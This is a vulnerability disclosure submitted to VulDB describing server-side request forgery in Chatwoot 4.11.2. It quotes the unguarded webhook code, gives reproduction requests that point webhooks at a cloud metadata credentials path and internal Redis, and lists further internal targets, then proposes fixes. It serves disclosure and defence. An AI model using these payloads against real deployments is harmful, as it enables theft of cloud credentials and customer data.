Soumettre #780305: Chatwoot 4.11.2 Server-Side Request Forgeryinformation

TitreChatwoot 4.11.2 Server-Side Request Forgery
Description## Summary Users with appropriate roles can define webhook URLs (via Webhooks, Automation Rules, and Macros) that the server POSTs to on events. The Webhook model validates URL format but does NOT restrict URLs pointing to internal/private IP addresses. The webhook trigger executes `RestClient::Request` without any SSRF protection. ## Affected Component - **File:** `app/models/webhook.rb` — URL validation (line 25) - **File:** `lib/webhooks/trigger.rb` — `perform_request` (lines 33–41) - **File:** `app/services/automation_rules/action_service.rb` — `send_webhook_event` (line 38–40) - **File:** `app/services/macros/execution_service.rb` — `send_webhook_event` (line 66–68) - **Version tested:** v4.11.2 ## CWE CWE-918: Server-Side Request Forgery (SSRF) ## Description The Webhook model validates the URL format but not its destination: ```ruby # app/models/webhook.rb, line 25 validates :url, uniqueness: { scope: [:account_id] }, format: URI::DEFAULT_PARSER.make_regexp(%w[http https]) ``` This regex check accepts any HTTP/HTTPS URL including internal addresses. The `Webhooks::Trigger` class executes the request without SSRF protection: ```ruby # lib/webhooks/trigger.rb, lines 33-41 def perform_request body = @payload.to_json RestClient::Request.execute( method: :post, url: @url, # <-- User-controlled URL, no IP filtering payload: body, headers: request_headers(body), timeout: webhook_timeout ) end ``` Automation rules allow any user who can create automations to define webhook URLs: ```ruby # app/services/automation_rules/action_service.rb, lines 38-40 def send_webhook_event(webhook_url) payload = @conversation.webhook_data.merge(event: "automation_event.#{@rule.event_name}") WebhookJob.perform_later(webhook_url[0], payload) end ``` The webhook payload includes sensitive data: conversation content, contact details (name, email, phone), agent information, and account metadata. ## Steps to Reproduce **Via Webhook API:** 1. Authenticate as a user with webhook creation permissions. 2. Create a webhook targeting internal infrastructure: ```http POST /api/v1/accounts/{account_id}/webhooks HTTP/1.1 api_access_token: <token> Content-Type: application/json { "url": "http://x.x.x.x/latest/meta-data/iam/security-credentials/", "subscriptions": ["message_created"] } ``` 3. The webhook is created successfully (URL format is valid HTTP). 4. When a new message is created, the Chatwoot server POSTs to the AWS metadata endpoint. **Via Automation Rule:** 1. Create an automation rule with a `send_webhook_event` action: ```json { "name": "SSRF Probe", "event_name": "message_created", "conditions": [{"attribute_key": "status", "filter_operator": "equal_to", "values": ["open"], "query_operator": null}], "actions": [{"action_name": "send_webhook_event", "action_params": ["http://127.0.0.1:6379/"]}] } ``` 2. On every new message, the server sends a POST to the internal Redis instance. **Alternative targets:** - `http://127.0.0.1:5432/` — PostgreSQL - `http://kubernetes.default.svc/api/v1/namespaces` — Kubernetes API - `http://127.0.0.1:3000/super_admin/` — Chatwoot super admin panel - `http://x.x.x.x/computeMetadata/v1/` — GCP metadata (with header) ## Impact - **Cloud credential theft**: Access AWS/GCP/Azure metadata endpoints to obtain IAM credentials. - **Internal network scanning**: Probe internal services and ports from the Chatwoot server. - **Internal service interaction**: Send POST requests with JSON payloads to internal APIs. - **Data exfiltration**: Sensitive conversation data (customer PII, messages) is included in the webhook payload sent to the attacker's endpoint. - **Lateral movement**: Use SSRF as a pivot point to attack other internal services. ## Suggested Fix 1. **Validate webhook URLs against private IP ranges** at both save time and execution time: ```ruby # app/models/webhook.rb validate :url_not_private def url_not_private resolved = Resolv.getaddress(URI.parse(url).host) rescue nil if resolved && IPAddr.new(resolved).private? errors.add(:url, 'cannot point to private/internal IP addresses') end end ``` 2. **Use an SSRF-safe HTTP client** in `Webhooks::Trigger`: ```ruby # lib/webhooks/trigger.rb require 'ssrf_filter' def perform_request body = @payload.to_json SsrfFilter.post(@url, body: body, headers: request_headers(body)) end ``` 3. Apply the same protection to automation rule and macro webhook actions. 4. Consider maintaining an allow-list of permitted webhook URL patterns for high-security deployments. ## References - [CWE-918: Server-Side Request Forgery](https://cwe.mitre.org/data/definitions/918.html) - [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)
Utilisateur
 Ghufran Khan (UID 95493)
Soumission14/03/2026 21:25 (il y a 23 jours)
Modérer31/03/2026 10:48 (17 days later)
StatutAccepté
Entrée VulDB354333 [chatwoot jusqu’à 4.11.2 Webhook API lib/webhooks/trigger.rb Webhooks::Trigger url élévation de privilèges]
Points17

Do you want to use VulDB in your project?

Use the official API to access entries easily!